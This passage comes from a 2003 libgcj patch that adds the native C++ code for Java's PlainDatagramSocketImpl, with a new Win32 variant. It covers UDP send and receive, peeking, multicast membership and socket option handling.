0) + goto error; + // FIXME: Deal with Multicast addressing and if the socket is connected. + jbyteArray raddr; + jint rport; + if (u.address.sin_family == AF_INET) + { + raddr = JvNewByteArray (4); + memcpy (elements (raddr), &u.address.sin_addr, 4); + rport = ntohs (u.address.sin_port); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + raddr = JvNewByteArray (16); + memcpy (elements (raddr), &u.address6.sin6_addr, 16); + rport = ntohs (u.address6.sin6_port); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid family")); + + i->addr = raddr; + return rport; + error: + char* strerr = strerror (errno); + + if (errno == ECONNREFUSED) + throw new PortUnreachableException (JvNewStringUTF (strerr)); + + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +jint +java::net::PlainDatagramSocketImpl::peekData(java::net::DatagramPacket *p) +{ + // FIXME: Deal with Multicast and if the socket is connected. + union SockAddr u; + socklen_t addrlen = sizeof(u); + jbyte *dbytes = elements (p->getData()); + ssize_t retlen = 0; + + // Do timeouts via select since SO_RCVTIMEO is not always available. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + fd_set rset; + struct timeval tv; + FD_ZERO(&rset); + FD_SET(fnum, &rset); + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + int retval; + if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) + goto error; + else if (retval == 0) + throw new java::io::InterruptedIOException (); + } + + retlen = + ::recvfrom (fnum, (char *) dbytes, p->getLength(), MSG_PEEK, (sockaddr*) &u, + &addrlen); + if (retlen < 0) + goto error; + // FIXME: Deal with Multicast addressing and if the socket is connected. + jbyteArray raddr; + jint rport; + if (u.address.sin_family == AF_INET) + { + raddr = JvNewByteArray (4); + memcpy (elements (raddr), &u.address.sin_addr, 4); + rport = ntohs (u.address.sin_port); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + raddr = JvNewByteArray (16); + memcpy (elements (raddr), &u.address6.sin6_addr, 16); + rport = ntohs (u.address6.sin6_port); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid family")); + + p->setAddress (new InetAddress (raddr, NULL)); + p->setPort (rport); + p->setLength ((jint) retlen); + return rport; + + error: + char* strerr = strerror (errno); + + if (errno == ECONNREFUSED) + throw new PortUnreachableException (JvNewStringUTF (strerr)); + + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +// Close(shutdown) the socket. +void +java::net::PlainDatagramSocketImpl::close () +{ + // Avoid races from asynchronous finalization. + JvSynchronize sync (this); + + // The method isn't declared to throw anything, so we disregard + // the return value. + _Jv_close (fnum); + fnum = -1; + timeout = 0; +} + +void +java::net::PlainDatagramSocketImpl::send (java::net::DatagramPacket *p) +{ + // FIXME: Deal with Multicast and if the socket is connected. + jint rport = p->getPort(); + union SockAddr u; + jbyteArray haddress = p->getAddress()->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + struct sockaddr *ptr = (struct sockaddr *) &u.address; + jbyte *dbytes = elements (p->getData()); + if (len == 4) + { + u.address.sin_family = AF_INET; + memcpy (&u.address.sin_addr, bytes, len); + len = sizeof (struct sockaddr_in); + u.address.sin_port = htons (rport); + } +#ifdef HAVE_INET6 + else if (len == 16) + { + u.address6.sin6_family = AF_INET6; + memcpy (&u.address6.sin6_addr, bytes, len); + len = sizeof (struct sockaddr_in6); + u.address6.sin6_port = htons (rport); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (::sendto (fnum, (char *) dbytes, p->getLength(), 0, ptr, len) >= 0) + return; + + char* strerr = strerror (errno); + + if (errno == ECONNREFUSED) + throw new PortUnreachableException (JvNewStringUTF (strerr)); + + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::receive (java::net::DatagramPacket *p) +{ + // FIXME: Deal with Multicast and if the socket is connected. + union SockAddr u; + socklen_t addrlen = sizeof(u); + jbyte *dbytes = elements (p->getData()); + ssize_t retlen = 0; + + // Do timeouts via select since SO_RCVTIMEO is not always available. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + fd_set rset; + struct timeval tv; + FD_ZERO(&rset); + FD_SET(fnum, &rset); + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + int retval; + if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) + goto error; + else if (retval == 0) + throw new java::io::InterruptedIOException (); + } + + retlen = + ::recvfrom (fnum, (char *) dbytes, p->getLength(), 0, (sockaddr*) &u, + &addrlen); + if (retlen < 0) + goto error; + // FIXME: Deal with Multicast addressing and if the socket is connected. + jbyteArray raddr; + jint rport; + if (u.address.sin_family == AF_INET) + { + raddr = JvNewByteArray (4); + memcpy (elements (raddr), &u.address.sin_addr, 4); + rport = ntohs (u.address.sin_port); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + raddr = JvNewByteArray (16); + memcpy (elements (raddr), &u.address6.sin6_addr, 16); + rport = ntohs (u.address6.sin6_port); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid family")); + + p->setAddress (new InetAddress (raddr, NULL)); + p->setPort (rport); + p->setLength ((jint) retlen); + return; + + error: + char* strerr = strerror (errno); + + if (errno == ECONNREFUSED) + throw new PortUnreachableException (JvNewStringUTF (strerr)); + + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::setTimeToLive (jint ttl) +{ + // Assumes IPPROTO_IP rather than IPPROTO_IPV6 since socket created is IPv4. + char val = (char) ttl; + socklen_t val_len = sizeof(val); + + if (::setsockopt (fnum, IPPROTO_IP, IP_MULTICAST_TTL, &val, val_len) == 0) + return; + + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +jint +java::net::PlainDatagramSocketImpl::getTimeToLive () +{ + // Assumes IPPROTO_IP rather than IPPROTO_IPV6 since socket created is IPv4. + char val; + socklen_t val_len = sizeof(val); + + if (::getsockopt (fnum, IPPROTO_IP, IP_MULTICAST_TTL, &val, &val_len) == 0) + return ((int) val) & 0xFF; + + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::mcastGrp (java::net::InetAddress *inetaddr, + java::net::NetworkInterface *, + jboolean join) +{ + // FIXME: implement use of NetworkInterface + + union McastReq u; + jbyteArray haddress = inetaddr->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + int level, opname; + const char *ptr; + if (0) + ; +#if HAVE_STRUCT_IP_MREQ + else if (len == 4) + { + level = IPPROTO_IP; + opname = join ? IP_ADD_MEMBERSHIP : IP_DROP_MEMBERSHIP; + memcpy (&u.mreq.imr_multiaddr, bytes, len); + // FIXME: If a non-default interface is set, use it; see Stevens p. 501. + // Maybe not, see note in last paragraph at bottom of Stevens p. 497. + u.mreq.imr_interface.s_addr = htonl (INADDR_ANY); + len = sizeof (struct ip_mreq); + ptr = (const char *) &u.mreq; + } +#endif +#if HAVE_STRUCT_IPV6_MREQ + else if (len == 16) + { + level = IPPROTO_IPV6; + + /* Prefer new RFC 2553 names. */ +#ifndef IPV6_JOIN_GROUP +#define IPV6_JOIN_GROUP IPV6_ADD_MEMBERSHIP +#endif +#ifndef IPV6_LEAVE_GROUP +#define IPV6_LEAVE_GROUP IPV6_DROP_MEMBERSHIP +#endif + + opname = join ? IPV6_JOIN_GROUP : IPV6_LEAVE_GROUP; + memcpy (&u.mreq6.ipv6mr_multiaddr, bytes, len); + // FIXME: If a non-default interface is set, use it; see Stevens p. 501. + // Maybe not, see note in last paragraph at bottom of Stevens p. 497. + u.mreq6.ipv6mr_interface = 0; + len = sizeof (struct ipv6_mreq); + ptr = (const char *) &u.mreq6; + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (::setsockopt (fnum, level, opname, ptr, len) == 0) + return; + + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::setOption (jint optID, + java::lang::Object *value) +{ + int val; + socklen_t val_len = sizeof (val); + + if (fnum < 0) + throw new java::net::SocketException (JvNewStringUTF ("Socket closed")); + + if (_Jv_IsInstanceOf (value, &java::lang::Boolean::class$)) + { + java::lang::Boolean *boolobj = + static_cast (value); + val = boolobj->booleanValue() ? 1 : 0; + } + else if (_Jv_IsInstanceOf (value, &java::lang::Integer::class$)) + { + java::lang::Integer *intobj = + static_cast (value); + val = (int) intobj->intValue(); + } + // Else assume value to be an InetAddress for use with IP_MULTICAST_IF. + + switch (optID) + { + case _Jv_TCP_NODELAY_ : + throw new java::net::SocketException ( + JvNewStringUTF ("TCP_NODELAY not valid for UDP")); + return; + case _Jv_SO_LINGER_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_LINGER not valid for UDP")); + return; + case _Jv_SO_KEEPALIVE_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_KEEPALIVE not valid for UDP")); + return; + + case _Jv_SO_BROADCAST_ : + if (::setsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &val, + val_len) != 0) + goto error; + break; + + case _Jv_SO_OOBINLINE_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_OOBINLINE: not valid for UDP")); + break; + + case _Jv_SO_SNDBUF_ : + case _Jv_SO_RCVBUF_ : +#if defined(SO_SNDBUF) && defined(SO_RCVBUF) + int opt; + optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; + if (::setsockopt (fnum, SOL_SOCKET, opt, (char *) &val, val_len) != 0) + goto error; +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); +#endif + return; + case _Jv_SO_REUSEADDR_ : +#if defined(SO_REUSEADDR) + if (::setsockopt (fnum, SOL_SOCKET, SO_REUSEADDR, (char *) &val, + val_len) != 0) + goto error; +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_REUSEADDR not supported")); +#endif + return; + case _Jv_SO_BINDADDR_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_BINDADDR: read only option")); + return; + case _Jv_IP_MULTICAST_IF_ : + union InAddr u; + jbyteArray haddress; + jbyte *bytes; + int len; + int level, opname; + const char *ptr; + + haddress = ((java::net::InetAddress *) value)->addr; + bytes = elements (haddress); + len = haddress->length; + if (len == 4) + { + level = IPPROTO_IP; + opname = IP_MULTICAST_IF; + memcpy (&u.addr, bytes, len); + len = sizeof (struct in_addr); + ptr = (const char *) &u.addr; + } +// Tru64 UNIX V5.0 has struct sockaddr_in6, but no IPV6_MULTICAST_IF +#if defined (HAVE_INET6) && defined (IPV6_MULTICAST_IF) + else if (len == 16) + { + level = IPPROTO_IPV6; + opname = IPV6_MULTICAST_IF; + memcpy (&u.addr6, bytes, len); + len = sizeof (struct in6_addr); + ptr = (const char *) &u.addr6; + } +#endif + else + throw + new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (::setsockopt (fnum, level, opname, ptr, len) != 0) + goto error; + return; + + case _Jv_IP_MULTICAST_IF2_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF2: not yet implemented")); + break; + + case _Jv_IP_MULTICAST_LOOP_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_LOOP: not yet implemented")); + break; + + case _Jv_IP_TOS_ : + if (::setsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, + val_len) != 0) + goto error; + return; + + case _Jv_SO_TIMEOUT_ : + timeout = val; + return; + default : + errno = ENOPROTOOPT; + } + + error: + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); +} + +java::lang::Object * +java::net::PlainDatagramSocketImpl::getOption (jint optID) +{ + int val; + socklen_t val_len = sizeof(val); + union SockAddr u; + socklen_t addrlen = sizeof(u); + + switch (optID) + { + case _Jv_TCP_NODELAY_ : + throw new java::net::SocketException ( + JvNewStringUTF ("TCP_NODELAY not valid for UDP")); + break; + case _Jv_SO_LINGER_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_LINGER not valid for UDP")); + break; + case _Jv_SO_KEEPALIVE_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_KEEPALIVE not valid for UDP")); + break; + + case _Jv_SO_BROADCAST_ : + if (::getsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean (val != 0); + + case _Jv_SO_OOBINLINE_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_OOBINLINE not valid for UDP")); + break; + + case _Jv_SO_RCVBUF_ : + case _Jv_SO_SNDBUF_ : +#if defined(SO_SNDBUF) && defined(SO_RCVBUF) + int opt; + optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; + if (::getsockopt (fnum, SOL_SOCKET, opt, (char *) &val, &val_len) != 0) + goto error; + else + return new java::lang::Integer (val); +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); +#endif + break; + case _Jv_SO_BINDADDR_: + // cache the local address + if (localAddress == NULL) + { + jbyteArray laddr; + if (::getsockname (fnum, (sockaddr*) &u, &addrlen) != 0) + goto error; + if (u.address.sin_family == AF_INET) + { + laddr = JvNewByteArray (4); + memcpy (elements (laddr), &u.address.sin_addr, 4); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + laddr = JvNewByteArray (16); + memcpy (elements (laddr), &u.address6.sin6_addr, 16); + } +#endif + else + throw new java::net::SocketException ( + JvNewStringUTF ("invalid family")); + localAddress = new java::net::InetAddress (laddr, NULL); + } + return localAddress; + break; + case _Jv_SO_REUSEADDR_ : +#if defined(SO_REUSEADDR) + if (::getsockopt (fnum, SOL_SOCKET, SO_REUSEADDR, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean (val != 0); +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_REUSEADDR not supported")); +#endif + break; + case _Jv_IP_MULTICAST_IF_ : +#ifdef HAVE_INET_NTOA + struct in_addr inaddr; + socklen_t inaddr_len; + char *bytes; + + inaddr_len = sizeof(inaddr); + if (::getsockopt (fnum, IPPROTO_IP, IP_MULTICAST_IF, (char *) &inaddr, + &inaddr_len) != 0) + goto error; + + bytes = inet_ntoa (inaddr); + + return java::net::InetAddress::getByName (JvNewStringLatin1 (bytes)); +#else + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF: not available - no inet_ntoa()")); +#endif + break; + case _Jv_SO_TIMEOUT_ : + return new java::lang::Integer (timeout); + break; + + case _Jv_IP_MULTICAST_IF2_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF2: not yet implemented")); + break; + + case _Jv_IP_MULTICAST_LOOP_ : + if (::getsockopt (fnum, SOL_SOCKET, IP_MULTICAST_LOOP, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean (val != 0); + + case _Jv_IP_TOS_ : + if (::getsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Integer (val); + + default : + errno = ENOPROTOOPT; + } + + error: + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); +} Index: java/net/natPlainDatagramSocketImplWin32.cc =================================================================== RCS file: java/net/natPlainDatagramSocketImplWin32.cc diff -N java/net/natPlainDatagramSocketImplWin32.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natPlainDatagramSocketImplWin32.cc 17 Mar 2003 19:55:13 -0000 @@ -0,0 +1,872 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#ifdef WIN32 + +#include +#include + +#else /* WIN32 */ + +#ifdef HAVE_NETINET_IN_H +#include +#endif +#ifdef HAVE_ARPA_INET_H +#include +#endif +#include +#include + +#endif /* WIN32 */ + +#if HAVE_BSTRING_H +// Needed for bzero, implicitly used by FD_ZERO on IRIX 5.2 +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef DISABLE_JAVA_NET + +void +java::net::PlainDatagramSocketImpl::create () +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.create: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::bind (jint, java::net::InetAddress *) +{ + throw new BindException ( + JvNewStringLatin1 ("DatagramSocketImpl.bind: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::connect (java::net::InetAddress *, jint) +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.connect: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::disconnect () +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.disconnect: unimplemented")); +} + +jint +java::net::PlainDatagramSocketImpl::peek (java::net::InetAddress *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.peek: unimplemented")); +} + +jint +java::net::PlainDatagramSocketImpl::peekData(java::net::DatagramPacket *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.peekData: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::close () +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.close: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::send (java::net::DatagramPacket *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.send: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::receive (java::net::DatagramPacket *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.receive: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::setTimeToLive (jint) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.setTimeToLive: unimplemented")); +} + +jint +java::net::PlainDatagramSocketImpl::getTimeToLive () +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.getTimeToLive: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::mcastGrp (java::net::InetAddress *, + java::net::NetworkInterface *, + jboolean) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.mcastGrp: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::setOption (jint, java::lang::Object *) +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.setOption: unimplemented")); +} + +java::lang::Object * +java::net::PlainDatagramSocketImpl::getOption (jint) +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.getOption: unimplemented")); +} + +#else /* DISABLE_JAVA_NET */ + + +union SockAddr +{ + struct sockaddr_in address; +#ifdef HAVE_INET6 + struct sockaddr_in6 address6; +#endif +}; + +union McastReq +{ +#if HAVE_STRUCT_IP_MREQ + struct ip_mreq mreq; +#endif +#if HAVE_STRUCT_IPV6_MREQ + struct ipv6_mreq mreq6; +#endif +}; + +union InAddr +{ + struct in_addr addr; +#ifdef HAVE_INET6 + struct in6_addr addr6; +#endif +}; + + +// FIXME: routines here and/or in natPlainSocketImpl.cc could throw +// NoRouteToHostException; also consider UnknownHostException, ConnectException. + +void +java::net::PlainDatagramSocketImpl::create () +{ + int sock = _Jv_socket (AF_INET, SOCK_DGRAM, 0); + + if (sock < 0) + { + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); + } + + _Jv_platform_close_on_exec (sock); + + // We use fnum in place of fd here. From leaving fd null we avoid + // the double close problem in FileDescriptor.finalize. + fnum = sock; +} + +void +java::net::PlainDatagramSocketImpl::bind (jint lport, + java::net::InetAddress *host) +{ + union SockAddr u; + struct sockaddr *ptr = (struct sockaddr *) &u.address; + // FIXME: Use getaddrinfo() to get actual protocol instead of assuming ipv4. + jbyteArray haddress = host->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + + if (len == 4) + { + u.address.sin_family = AF_INET; + + if (host != NULL) + memcpy (&u.address.sin_addr, bytes, len); + else + u.address.sin_addr.s_addr = htonl (INADDR_ANY); + + len = sizeof (struct sockaddr_in); + u.address.sin_port = htons (lport); + } +#ifdef HAVE_INET6 + else if (len == 16) + { + u.address6.sin6_family = AF_INET6; + memcpy (&u.address6.sin6_addr, bytes, len); + len = sizeof (struct sockaddr_in6); + u.address6.sin6_port = htons (lport); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (_Jv_bind (fnum, ptr, len) == 0) + { + socklen_t addrlen = sizeof(u); + + if (lport != 0) + localPort = lport; + else if (::getsockname (fnum, (sockaddr*) &u, &addrlen) == 0) + localPort = ntohs (u.address.sin_port); + else + goto error; + + /* Allow broadcast by default. */ + int broadcast = 1; + if (::setsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &broadcast, + sizeof (broadcast)) != 0) + goto error; + + return; + } + + error: + char* strerr = strerror (errno); + throw new java::net::BindException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::connect (java::net::InetAddress *, jint) +{ + throw new ::java::lang::InternalError (JvNewStringLatin1 ( + "PlainDatagramSocketImpl::connect: not implemented yet")); +} + +void +java::net::PlainDatagramSocketImpl::disconnect () +{ + throw new ::java::lang::InternalError (JvNewStringLatin1 ( + "PlainDatagramSocketImpl::disconnect: not implemented yet")); +} + +jint +java::net::PlainDatagramSocketImpl::peek (java::net::InetAddress *i) +{ + // FIXME: Deal with Multicast and if the socket is connected. + union SockAddr u; + socklen_t addrlen = sizeof(u); + ssize_t retlen = + ::recvfrom (fnum, (char *) NULL, 0, MSG_PEEK, (sockaddr*) &u, + &addrlen); + if (retlen < 0) + goto error; + // FIXME: Deal with Multicast addressing and if the socket is connected. + jbyteArray raddr; + jint rport; + if (u.address.sin_family == AF_INET) + { + raddr = JvNewByteArray (4); + memcpy (elements (raddr), &u.address.sin_addr, 4); + rport = ntohs (u.address.sin_port); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + raddr = JvNewByteArray (16); + memcpy (elements (raddr), &u.address6.sin6_addr, 16); + rport = ntohs (u.address6.sin6_port); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid family")); + + i->addr = raddr; + return rport; + error: + char* strerr = strerror (errno); + + if (errno == ECONNREFUSED) + throw new PortUnreachableException (JvNewStringUTF (strerr)); + + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +jint +java::net::PlainDatagramSocketImpl::peekData(java::net::DatagramPacket *p) +{ + // FIXME: Deal with Multicast and if the socket is connected. + union SockAddr u; + socklen_t addrlen = sizeof(u); + jbyte *dbytes = elements (p->getData()); + ssize_t retlen = 0; + +// FIXME: implement timeout support for Win32 +#ifndef WIN32 + // Do timeouts via select since SO_RCVTIMEO is not always available. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + fd_set rset; + struct timeval tv; + FD_ZERO(&rset); + FD_SET(fnum, &rset); + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + int retval; + if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) + goto error; + else if (retval == 0) + throw new java::io::InterruptedIOException (); + } +#endif /* WIN32 */ + + retlen = + ::recvfrom (fnum, (char *) dbytes, p->getLength(), MSG_PEEK, (sockaddr*) &u, + &addrlen); + if (retlen < 0) + goto error; + // FIXME: Deal with Multicast addressing and if the socket is connected. + jbyteArray raddr; + jint rport; + if (u.address.sin_family == AF_INET) + { + raddr = JvNewByteArray (4); + memcpy (elements (raddr), &u.address.sin_addr, 4); + rport = ntohs (u.address.sin_port); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + raddr = JvNewByteArray (16); + memcpy (elements (raddr), &u.address6.sin6_addr, 16); + rport = ntohs (u.address6.sin6_port); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid family")); + + p->setAddress (new InetAddress (raddr, NULL)); + p->setPort (rport); + p->setLength ((jint) retlen); + return rport; + + error: + char* strerr = strerror (errno); + + if (errno == ECONNREFUSED) + throw new PortUnreachableException (JvNewStringUTF (strerr)); + + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +// Close(shutdown) the socket. +void +java::net::PlainDatagramSocketImpl::close () +{ + // Avoid races from asynchronous finalization. + JvSynchronize sync (this); + + // The method isn't declared to throw anything, so we disregard + // the return value. + _Jv_close (fnum); + fnum = -1; + timeout = 0; +} + +void +java::net::PlainDatagramSocketImpl::send (java::net::DatagramPacket *p) +{ + // FIXME: Deal with Multicast and if the socket is connected. + jint rport = p->getPort(); + union SockAddr u; + jbyteArray haddress = p->getAddress()->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + struct sockaddr *ptr = (struct sockaddr *) &u.address; + jbyte *dbytes = elements (p->getData()); + if (len == 4) + { + u.address.sin_family = AF_INET; + memcpy (&u.address.sin_addr, bytes, len); + len = sizeof (struct sockaddr_in); + u.address.sin_port = htons (rport); + } +#ifdef HAVE_INET6 + else if (len == 16) + { + u.address6.sin6_family = AF_INET6; + memcpy (&u.address6.sin6_addr, bytes, len); + len = sizeof (struct sockaddr_in6); + u.address6.sin6_port = htons (rport); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (::sendto (fnum, (char *) dbytes, p->getLength(), 0, ptr, len) >= 0) + return; + + char* strerr = strerror (errno); + + if (errno == ECONNREFUSED) + throw new PortUnreachableException (JvNewStringUTF (strerr)); + + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::receive (java::net::DatagramPacket *p) +{ + // FIXME: Deal with Multicast and if the socket is connected. + union SockAddr u; + socklen_t addrlen = sizeof(u); + jbyte *dbytes = elements (p->getData()); + ssize_t retlen = 0; + +// FIXME: implement timeout support for Win32 +#ifndef WIN32 + // Do timeouts via select since SO_RCVTIMEO is not always available. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + fd_set rset; + struct timeval tv; + FD_ZERO(&rset); + FD_SET(fnum, &rset); + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + int retval; + if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) + goto error; + else if (retval == 0) + throw new java::io::InterruptedIOException (); + } +#endif /* WIN32 */ + + retlen = + ::recvfrom (fnum, (char *) dbytes, p->getLength(), 0, (sockaddr*) &u, + &addrlen); + if (retlen < 0) + goto error; + // FIXME: Deal with Multicast addressing and if the socket is connected. + jbyteArray raddr; + jint rport; + if (u.address.sin_family == AF_INET) + { + raddr = JvNewByteArray (4); + memcpy (elements (raddr), &u.address.sin_addr, 4); + rport = ntohs (u.address.sin_port); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + raddr = JvNewByteArray (16); + memcpy (elements (raddr), &u.address6.sin6_addr, 16); + rport = ntohs (u.address6.sin6_port); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid family")); + + p->setAddress (new InetAddress (raddr, NULL)); + p->setPort (rport); + p->setLength ((jint) retlen); + return; + + error: + char* strerr = strerror (errno); + + if (errno == ECONNREFUSED) + throw new PortUnreachableException (JvNewStringUTF (strerr)); + + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::setTimeToLive (jint ttl) +{ + // Assumes IPPROTO_IP rather than IPPROTO_IPV6 since socket created is IPv4. + char val = (char) ttl; + socklen_t val_len = sizeof(val); + + if (::setsockopt (fnum, IPPROTO_IP, IP_MULTICAST_TTL, &val, val_len) == 0) + return; + + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +jint +java::net::PlainDatagramSocketImpl::getTimeToLive () +{ + // Assumes IPPROTO_IP rather than IPPROTO_IPV6 since socket created is IPv4. + char val; + socklen_t val_len = sizeof(val); + + if (::getsockopt (fnum, IPPROTO_IP, IP_MULTICAST_TTL, &val, &val_len) == 0) + return ((int) val) & 0xFF; + + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::mcastGrp (java::net::InetAddress *inetaddr, + java::net::NetworkInterface *, + jboolean join) +{ + // FIXME: implement use of NetworkInterface + + union McastReq u; + jbyteArray haddress = inetaddr->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + int level, opname; + const char *ptr; + if (0) + ; +#if HAVE_STRUCT_IP_MREQ + else if (len == 4) + { + level = IPPROTO_IP; + opname = join ? IP_ADD_MEMBERSHIP : IP_DROP_MEMBERSHIP; + memcpy (&u.mreq.imr_multiaddr, bytes, len); + // FIXME: If a non-default interface is set, use it; see Stevens p. 501. + // Maybe not, see note in last paragraph at bottom of Stevens p. 497. + u.mreq.imr_interface.s_addr = htonl (INADDR_ANY); + len = sizeof (struct ip_mreq); + ptr = (const char *) &u.mreq; + } +#endif +#if HAVE_STRUCT_IPV6_MREQ + else if (len == 16) + { + level = IPPROTO_IPV6; + + /* Prefer new RFC 2553 names. */ +#ifndef IPV6_JOIN_GROUP +#define IPV6_JOIN_GROUP IPV6_ADD_MEMBERSHIP +#endif +#ifndef IPV6_LEAVE_GROUP +#define IPV6_LEAVE_GROUP IPV6_DROP_MEMBERSHIP +#endif + + opname = join ? IPV6_JOIN_GROUP : IPV6_LEAVE_GROUP; + memcpy (&u.mreq6.ipv6mr_multiaddr, bytes, len); + // FIXME: If a non-default interface is set, use it; see Stevens p. 